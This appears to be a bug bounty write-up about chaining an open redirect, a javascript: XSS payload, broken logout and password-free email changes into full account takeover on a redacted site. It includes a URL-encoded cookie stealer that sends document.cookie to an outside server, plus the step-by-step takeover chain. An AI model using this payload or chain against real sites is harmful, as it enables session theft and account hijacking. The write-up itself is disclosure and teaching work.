Chaining XSS with authentication issues to turn it into full account takeover

In the name of Allah, i begin

Recently I started hunting on Bugcrowd. As I am completely newbie on cyber security, I only looked for bugs only in subdomains and searched for only low hanging fruits. One of my friend suggested me this video `https://www.youtube.com/watch?v=-PkK9DP5nec` by Sean (zseano) and told me to look for bugs in root domains rather than on subdomains. So I watched the video, took notes and started looking on a program on the BugCrowd and ended up getting a full account takeover bug.

(As this program doesn’t allow disclosure, let’s call it redacted.com)

I turned on my burp so I can see what is passing through in the http history tab. After creating an account and logging in, I saw in http history, a request was sent to `https://www.redacted.com/dashboard/?landingurl=redacted.com#/my-dashboard/authenticated?page=` which redirected to `https://www.redacted.com/#/my-dashboard/authenticated?page=` . After seeing this, I tried LFI methods after ‘page=’ param but it didn’t work. So I tried Open redirect after ‘landingurl=’ param and surprisingly I was redirected. Here is the payload that I tried `https://www.redacted.com/dashboard/?landingurl=evil.com#/my-dashboard/authenticated?page=` . But when I went to report it I saw open redirect was out of scope. :-(

So I tried the famous javascript:alert(1) payload as it works on open redirect endpoints quite often. And when I tried this on the browser and BoOm!!! It got executed.

So I took a note of it and started looking around to see what else I could find. After a while when I clicked on logout button,it took me to the https://www.redacted.com/shop/?error= page which looked odd to me as in most of the websites,after clicking log out, they will either take you to the https://www.redacted.com/ or https://www.redacted.com/login page. So I clicked on back button of the browser and I was in the dashboard again which means I was never logged out. :v I went to another page to check if only one page’s log out button was broken or on every page and surprisingly all were broken as well. But it was p4 as a user has to get his cookie to have persistence account. Then I remembered I already found a XSS. So immediately made a cookie stealer like this ‘javascript:alert(1);var%20i%3Dnew%20Image%3Bi.src%3D%22https%3A%2F%2Fmy_server.com%2F%3F%22%2Bdocument.cookie%3B’ and BoOm! It worked and gave me the cookies.

But the victim will still have his account access along with attacker. I wanted to find a way so that an attacker could take away full control from the victim. I tried to change the email but it asked for password :-( So no hope there.

Then I saw you could add secondary email there. So added my another email as secondary and no password was asked. And then made the secondary one, primary without password confirmation :v

So now victim’s email is secondary and attacker email is primary. I could delete the victim email without any problem and asked for password reset after that and the mail came to the attacker email. And I successfully changed the pass and Now I have full control of that account. And best part was between all these proccess like email adding,changing no email was sent to my first email aka victim’s email. So victim will have no idea of this attack as well.

Here XSS was only p3, session management was p4(in some programs they are out of scope), email transversal was p5 and open redirect was out of scope. But as zseano told in his video, I took notes of them and started chaining them together that made it simple p3 or p4 to p1.

[Here by victim email I meant my username@bugcrowdninja.com and attacker email meant username+1@bugcrowdninja.com]